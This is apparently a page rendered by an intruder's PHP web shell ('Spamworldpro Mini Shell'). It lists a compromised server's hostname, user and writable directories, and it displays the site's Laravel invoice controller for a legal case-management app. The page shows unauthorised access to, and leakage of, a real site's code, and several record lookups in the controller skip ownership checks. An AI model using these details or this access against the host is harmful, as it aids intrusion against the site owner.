Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.thebrownbagmedia.com 4.18.0-553.34.1.el8_10.x86_64 #1 SMP Wed Jan 8 09:40:06 EST 2025 x86_64
User : topnotchcv ( 1029)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/topnotchcv/public_html/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/topnotchcv/public_html/app/Http/Controllers/InvoiceController.php
<?php

namespace App\Http\Controllers;

use App\Models\Cases;
use App\Models\Hearing;
use App\Models\Invoice;
use App\Models\InvoiceItem;
use App\Models\InvoicePayment;
use Illuminate\Http\Request;

class InvoiceController extends Controller
{

    public function index()
    {
        if (\Auth::user()->can('manage invoice')) {
            $invoices = Invoice::where('parent_id', parentId())->get();
            return view('invoice.index', compact('invoices'));
        } else {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }


    public function create($case_id)
    {
        if (\Auth::user()->can('create invoice')) {

            $case = Cases::find($case_id);
            $hearings = Hearing::where('case_id',$case_id)->where('invoice_created',0)->get();
            $invoiceNumber = $this->invoiceNumber();
            $status = Invoice::$status;
            return view('invoice.create', compact('case', 'invoiceNumber', 'status', 'hearings'));
        } else {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }


    public function store(Request $request, $case_id)
    {

        if (\Auth::user()->can('create invoice')) {

            $case = Cases::find($case_id);
            $invoice = new Invoice();
            $invoice->invoice_id = $this->invoiceNumber();
            $invoice->case_id = $case_id;
            $invoice->advocate_id = $case->advocate_id;
            $invoice->client_id = $case->client_id;
            $invoice->date = $request->date;
            $invoice->status = 'open';
            $invoice->parent_id = parentId();
            $invoice->save();
            foreach ($request->item as $key => $value) {
                $invoice_item = new InvoiceItem();
                $invoice_item->invoice_id = $invoice->id;
                $invoice_item->item = $value;
                $invoice_item->amount = $request->amount[$key];
                $invoice_item->notes = $request->notes[$key];
                $invoice_item->save();

                if(isset($request->hearing_id[$key])){
                    $hearing=Hearing::find($request->hearing_id[$key]);
                    $hearing->invoice_created=1;
                    $hearing->save();
                }
            }
            return redirect()->route('invoice.show',[$case_id,$invoice->id])->with('success', 'Invoice successfully created.');
        } else {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }


    public function show($case_id, $id)
    {
        if (\Auth::user()->can('show invoice')) {

            $invoice = Invoice::find($id);
            $settings = settings();
            return view('invoice.show', compact('invoice', 'settings'));
        } else {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }


    public function edit($case_id, $id)
    {
        if (\Auth::user()->can('edit invoice')) {

            $case = Cases::find($case_id);
            $invoice =  Invoice::find($id);
            $hearings = $case->hearings;
            return view('invoice.edit', compact('case', 'invoice', 'hearings'));
        } else {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }


    public function update(Request $request, $case_id, $id)
    {
        if (\Auth::user()->can('edit invoice')) {

            $case = Cases::find($case_id);
            $invoice =  Invoice::find($id);
            $invoice->date = $request->date;
            $invoice->save();
            $ids = [];
            foreach ($invoice->InvoiceItem as $key => $value) {
                $ids[$value->id] = $value->id;
            }
            foreach ($request->item as $key => $value) {

                if (isset($request->id[$key]) && in_array($request->id[$key], $ids)) {
                    $invoice_item =  InvoiceItem::find($request->id[$key]);
                    $invoice_item->invoice_id = $invoice->id;
                    $invoice_item->item = $value;
                    $invoice_item->amount = $request->amount[$key];
                    $invoice_item->notes = $request->notes[$key];
                    $invoice_item->save();
                    unset($ids[$request->id[$key]]);
                } else {
                    $invoice_item = new InvoiceItem();
                    $invoice_item->invoice_id = $invoice->id;
                    $invoice_item->item = $value;
                    $invoice_item->amount = $request->amount[$key];
                    $invoice_item->notes = $request->notes[$key];
                    $invoice_item->save();
                }
            }
            if (count($ids) > 0) {
                foreach ($ids as $key => $id) {
                    if ($id) {
                        $invoice_item =  InvoiceItem::find($id);
                        if ($invoice_item) {
                            $invoice_item->delete();
                        }
                    }
                }
            }
            return redirect()->route('invoice.index')->with('success', 'Invoice successfully updated.');
        } else {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }
    public function destroy($case_id, $id)
    {
        if (\Auth::user()->can('delete invoice')) {
            $case = Cases::find($case_id);
            $invoice =  Invoice::find($id);
            if ($invoice) {
                InvoiceItem::where('invoice_id',$id)->delete();
                InvoicePayment::where('invoice_id',$id)->delete();
            }
            $invoice->delete();
            return redirect()->back()->with('success', 'Invoice successfully deleted.');
        } else {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }
    public function invoiceNumber()
    {
        $latestInvoice = Invoice::where('parent_id', parentId())->latest()->first();
        if ($latestInvoice == null) {
            return 1;
        } else {
            return $latestInvoice->invoice_id + 1;
        }
    }
}

Spamworldpro Mini